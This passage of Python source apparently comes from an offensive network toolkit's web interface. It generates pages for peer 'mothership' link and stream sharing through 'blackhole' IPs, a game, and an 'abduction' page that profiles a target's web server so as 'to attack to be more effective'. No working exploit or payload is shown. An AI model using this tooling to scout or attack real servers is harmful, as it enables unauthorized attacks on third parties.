  1600. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1601. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1602. if globalnet_msg_sep in m:
  1603. m = m.split(globalnet_msg_sep)
  1604. globalnet_owner = m[0][0:12] # owner
  1605. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1606. globalnet_comment = m[1][0:32] # comment
  1607. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1608. globalnet_warp = m[2][0:12] # warp
  1609. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1610. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1611. globalnet_table += "</table>"
  1612. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1613. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1614. return globalnet_table
  1615. def html_links(self):
  1616. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1617. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1618. links_table = self.generate_links()
  1619. return self.pages["/header"] + """<script language="javascript">
  1620. function Decrypt_links(){
  1621. link_deckey=document.getElementById("link_deckey").value
  1622. if(link_deckey == "") {
  1623. window.alert("You need to enter a valid key (provided by someone)");
  1624. return
  1625. }else{
  1626. params="link_deckey="+escape(link_deckey)
  1627. runCommandX("cmd_decrypt_links",params)
  1628. panel_enc = document.getElementById("links_panel_enc").style.display
  1629. if(panel_enc == "block"){
  1630. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1631. }
  1632. }
  1633. }
  1634. function Ranking() {
  1635. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1636. }
  1637. function Grid() {
  1638. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1639. }
  1640. function Board() {
  1641. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1642. }
  1643. function Stats() {
  1644. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1645. }
  1646. function Streams() {
  1647. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1648. }
  1649. function SyncLinks(){
  1650. link_source=document.getElementById("link_source").value
  1651. if(link_source == "") {
  1652. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1653. return
  1654. }else{
  1655. params="link_source="+escape(link_source)
  1656. runCommandX("cmd_sync_links",params)
  1657. setTimeout("location.reload()", 10000)
  1658. }
  1659. }
  1660. function LinkFilter(filter, key) {
  1661. params="filter="+escape(filter)+"&key="+escape(key)
  1662. runCommandX("cmd_link_filter", params)
  1663. setTimeout("Decrypt_links()", 2000)
  1664. }
  1665. function Send() {
  1666. link_source2=document.getElementById("link_source2").value
  1667. link_enckey=document.getElementById("link_enckey").value
  1668. link_topic=document.getElementById("link_topic").value
  1669. link_url=document.getElementById("link_url").value
  1670. if(link_source2 == "") {
  1671. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1672. return
  1673. }else{
  1674. if(link_enckey == "") {
  1675. window.alert("You need to enter a valid key (provided by someone)");
  1676. return
  1677. }else{
  1678. if(link_url == "http://127.0.0.1") {
  1679. window.alert("You need to enter a valid link");
  1680. return
  1681. }else{
  1682. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1683. runCommandX("cmd_transfer_link",params)
  1684. setTimeout("location.reload()", 10000)
  1685. }
  1686. }
  1687. }
  1688. }
  1689. </script>
  1690. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1691. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1692. <br>
  1693. <center>
  1694. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1695. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1696. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1697. </tr></table>
  1698. <hr><br>
  1699. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1700. <option value="OFF" selected>OFF - NO-Topic</option>
  1701. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1702. <option value="NSA">NSA - National Space/Security Agency</option>
  1703. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1704. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1705. <option value="HAR">HAR - Hardware / Electronics</option>
  1706. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1707. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1708. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1709. <option value="SPM">SPM - Propaganda + SPAM</option>
  1710. <option value="SCI">SCI - SCience + phi</option>
  1711. <option value="UFO">UFO - UFONET</option>
  1712. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1713. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1714. <hr><br>
  1715. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1716. def html_streams(self):
  1717. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1718. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1719. streams_table = self.generate_streams()
  1720. return self.pages["/header"] + """<script language="javascript">
  1721. function Decrypt_streams(){
  1722. stream_deckey=document.getElementById("stream_deckey").value
  1723. if(stream_deckey == "") {
  1724. window.alert("You need to enter a valid key (provided by someone)");
  1725. return
  1726. }else{
  1727. params="stream_deckey="+escape(stream_deckey)
  1728. runCommandX("cmd_decrypt_streams",params)
  1729. panel_enc = document.getElementById("streams_panel_enc").style.display
  1730. if(panel_enc == "block"){
  1731. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1732. }
  1733. }
  1734. }
  1735. function Ranking() {
  1736. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1737. }
  1738. function Grid() {
  1739. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1740. }
  1741. function Board() {
  1742. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1743. }
  1744. function Stats() {
  1745. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1746. }
  1747. function Links() {
  1748. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1749. }
  1750. function SyncStreams(){
  1751. stream_source=document.getElementById("stream_source").value
  1752. if(stream_source == "") {
  1753. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1754. return
  1755. }else{
  1756. params="stream_source="+escape(stream_source)
  1757. runCommandX("cmd_sync_streams",params)
  1758. setTimeout("location.reload()", 10000)
  1759. }
  1760. }
  1761. function StreamFilter(filter, key) {
  1762. params="filter="+escape(filter)+"&key="+escape(key)
  1763. runCommandX("cmd_stream_filter", params)
  1764. setTimeout("Decrypt_streams()", 2000)
  1765. }
  1766. function Send() {
  1767. stream_source2=document.getElementById("stream_source2").value
  1768. stream_enckey=document.getElementById("stream_enckey").value
  1769. stream_topic=document.getElementById("stream_topic").value
  1770. stream_url=document.getElementById("stream_url").value
  1771. if(stream_source2 == "") {
  1772. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1773. return
  1774. }else{
  1775. if(stream_enckey == "") {
  1776. window.alert("You need to enter a valid key (provided by someone)");
  1777. return
  1778. }else{
  1779. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1780. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1781. return
  1782. }else{
  1783. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1784. runCommandX("cmd_transfer_stream",params)
  1785. setTimeout("location.reload()", 10000)
  1786. }
  1787. }
  1788. }
  1789. }
  1790. function PlayStream(stream_num) {
  1791. var str1 = "play_button_";
  1792. var str2 = stream_num;
  1793. var play_button_id = str1.concat(str2);
  1794. var str3 = "video_";
  1795. var video_play = str3.concat(str2);
  1796. video_id = document.getElementById(play_button_id).value;
  1797. document.getElementById(play_button_id).style.display = 'none';
  1798. document.getElementById(video_play).style.display = 'block';
  1799. document.getElementById(video_play).innerHTML = "<div id='player'></div>";
  1800. var tag = document.createElement('script');
  1801. tag.src = "https://www.youtube.com/iframe_api";
  1802. var firstScriptTag = document.getElementsByTagName('script')[0];
  1803. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  1804. }
  1805. var player;
  1806. function onYouTubeIframeAPIReady() {
  1807. player = new YT.Player('player', {
  1808. height: '390',
  1809. width: '640',
  1810. videoId: video_id,
  1811. events: {
  1812. 'onReady': onPlayerReady,
  1813. 'onStateChange': onPlayerStateChange
  1814. }
  1815. });
  1816. }
  1817. function onPlayerReady(event) {
  1818. event.target.playVideo();
  1819. }
  1820. var done = false;
  1821. function onPlayerStateChange(event) {
  1822. if (event.data == YT.PlayerState.PLAYING && !done) {
  1823. done = true;
  1824. }
  1825. if (event.data === 0) {
  1826. document.getElementById(play_button_id).style.display = 'block';
  1827. document.getElementById(video_play).style.display = 'none';
  1828. }
  1829. }
  1830. function stopVideo() {
  1831. player.stopVideo();
  1832. document.getElementById(play_button_id).style.display = 'block';
  1833. document.getElementById(video_play).style.display = 'none';
  1834. }
  1835. </script>
  1836. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1837. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1838. <br>
  1839. <center>
  1840. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1841. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  1842. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  1843. </tr></table>
  1844. <hr><br>
  1845. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  1846. <option value="OFF" selected>OFF - NO-Topic</option>
  1847. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1848. <option value="NSA">NSA - National Space/Security Agency</option>
  1849. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1850. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1851. <option value="HAR">HAR - Hardware / Electronics</option>
  1852. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1853. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1854. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1855. <option value="SPM">SPM - Propaganda + SPAM</option>
  1856. <option value="SCI">SCI - SCience + phi</option>
  1857. <option value="UFO">UFO - UFONET</option>
  1858. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1859. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1860. <hr><br>
  1861. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1862. def html_games(self):
  1863. games_table = self.generate_games()
  1864. return self.pages["/header"] + """<script language="javascript">
  1865. function Ranking() {
  1866. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1867. }
  1868. function Wargames() {
  1869. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1870. }
  1871. function Grid() {
  1872. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1873. }
  1874. function Board() {
  1875. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1876. }
  1877. function Stats() {
  1878. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1879. }
  1880. function PlayGame() {
  1881. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1882. }
  1883. </script>
  1884. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1885. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1886. <br>
  1887. <center>
  1888. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1889. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  1890. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  1891. </tr></table>
  1892. <hr><br>
  1893. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  1894. def html_spaceinvaders(self):
  1895. return self.pages["/header"] + """<script language="javascript"></script>
  1896. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1897. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1898. <br><center>
  1899. <hr><br>
  1900. <div id="gamecontainer">
  1901. <canvas id="gameCanvas"></canvas>
  1902. </div>
  1903. <div id="info">
  1904. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  1905. more bombs as you complete each level!</p>
  1906. </div></script><script src="js/spaceinvaders.js"></script><script>
  1907. var canvas = document.getElementById("gameCanvas");
  1908. canvas.width = 800;
  1909. canvas.height = 600;
  1910. var game = new Game();
  1911. game.initialise(canvas);
  1912. game.start();
  1913. window.addEventListener("keydown", function keydown(e) {
  1914. var keycode = e.which || window.event.keycode;
  1915. // Supress further processing of left/right/space (37/29/32)
  1916. if(keycode == 37 || keycode == 39 || keycode == 32) {
  1917. e.preventDefault();
  1918. }
  1919. game.keyDown(keycode);
  1920. });
  1921. window.addEventListener("keyup", function keydown(e) {
  1922. var keycode = e.which || window.event.keycode;
  1923. game.keyUp(keycode);
  1924. });
  1925. window.addEventListener("touchstart", function (e) {
  1926. game.touchstart(e);
  1927. }, false);
  1928. window.addEventListener('touchend', function(e){
  1929. game.touchend(e);
  1930. }, false);
  1931. window.addEventListener('touchmove', function(e){
  1932. game.touchmove(e);
  1933. }, false);
  1934. function toggleMute() {
  1935. game.mute();
  1936. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  1937. }
  1938. </script><br><br>"""+ self.pages["/footer"]
  1939. def html_browser(self):
  1940. browser_table = self.generate_browser()
  1941. return self.pages["/header"] + """<script language="javascript">
  1942. function Ranking() {
  1943. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1944. }
  1945. function Grid() {
  1946. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1947. }
  1948. function Board() {
  1949. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1950. }
  1951. function Links() {
  1952. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1953. }
  1954. function Streams() {
  1955. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1956. }
  1957. </script>
  1958. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1959. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1960. <br>
  1961. <center>
  1962. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1963. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  1964. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1965. </tr></table>
  1966. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  1967. def html_globalnet(self):
  1968. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1969. globalnet_table = self.generate_globalnet()
  1970. return self.pages["/header"] + """<script language="javascript">
  1971. function Ranking() {
  1972. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1973. }
  1974. function Grid() {
  1975. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1976. }
  1977. function Board() {
  1978. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1979. }
  1980. function Warps() {
  1981. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1982. }
  1983. function SyncGlobalnet(){
  1984. globalnet_source=document.getElementById("globalnet_source").value
  1985. if(globalnet_source == "") {
  1986. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1987. return
  1988. }else{
  1989. params="globalnet_source="+escape(globalnet_source)
  1990. runCommandX("cmd_sync_globalnet",params)
  1991. setTimeout("location.reload()", 10000)
  1992. }
  1993. }
  1994. function Decrypt_globalnet(){
  1995. globalnet_deckey=document.getElementById("globalnet_deckey").value
  1996. if(globalnet_deckey == "") {
  1997. window.alert("You need to enter a valid key (provided by someone)");
  1998. return
  1999. }else{
  2000. params="globalnet_deckey="+escape(globalnet_deckey)
  2001. runCommandX("cmd_decrypt_globalnet",params)
  2002. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  2003. if(panel_enc == "block"){
  2004. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  2005. }
  2006. }
  2007. }
  2008. function GlobalnetFilter(filter, key) {
  2009. params="filter="+escape(filter)+"&key="+escape(key)
  2010. runCommandX("cmd_globalnet_filter", params)
  2011. setTimeout("Decrypt_globalnet()", 2000)
  2012. }
  2013. function Send() {
  2014. globalnet_source2=document.getElementById("globalnet_source2").value
  2015. globalnet_enckey=document.getElementById("globalnet_enckey").value
  2016. globalnet_owner=document.getElementById("globalnet_owner").value
  2017. globalnet_comment=document.getElementById("globalnet_comment").value
  2018. globalnet_warp=document.getElementById("globalnet_warp").value
  2019. if(globalnet_source2 == "") {
  2020. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2021. return
  2022. }else{
  2023. if(globalnet_enckey == "") {
  2024. window.alert("You need to enter a valid key (provided by someone)");
  2025. return
  2026. }else{
  2027. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  2028. runCommandX("cmd_transfer_globalnet",params)
  2029. setTimeout("location.reload()", 10000)
  2030. }
  2031. }
  2032. }
  2033. </script>
  2034. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2035. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2036. <br>
  2037. <center>
  2038. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2039. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology, that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network, always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  2040. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td>
  2041. </tr></table>
  2042. <hr><br>
  2043. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  2044. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  2045. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  2046. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  2047. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  2048. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2049. def html_abduction(self):
  2050. return self.pages["/header"] + """<script language="javascript">
  2051. function Requests() {
  2052. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2053. }
  2054. function Start(){
  2055. target=document.getElementById("target").value
  2056. String.prototype.startsWith = function(prefix){
  2057. return this.indexOf(prefix) === 0;
  2058. }
  2059. if(target.startsWith("http")){
  2060. params="target="+escape(target)
  2061. }else{
  2062. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  2063. return
  2064. }
  2065. runCommandX("cmd_abduction",params)
  2066. }
  2067. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2068. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2069. <br>
  2070. <center>
  2071. <table cellpadding="5" cellspacing="5"><tr>
  2072. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  2073. <td>
  2074. <pre>
  2075. This feature will provide you information about target's web server.
  2076. You can use this before to attack to be more effective.
  2077. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2078. <hr>
  2079. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2080. <hr>
  2081. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  2082. </pre>
  2083. </td></tr></table>
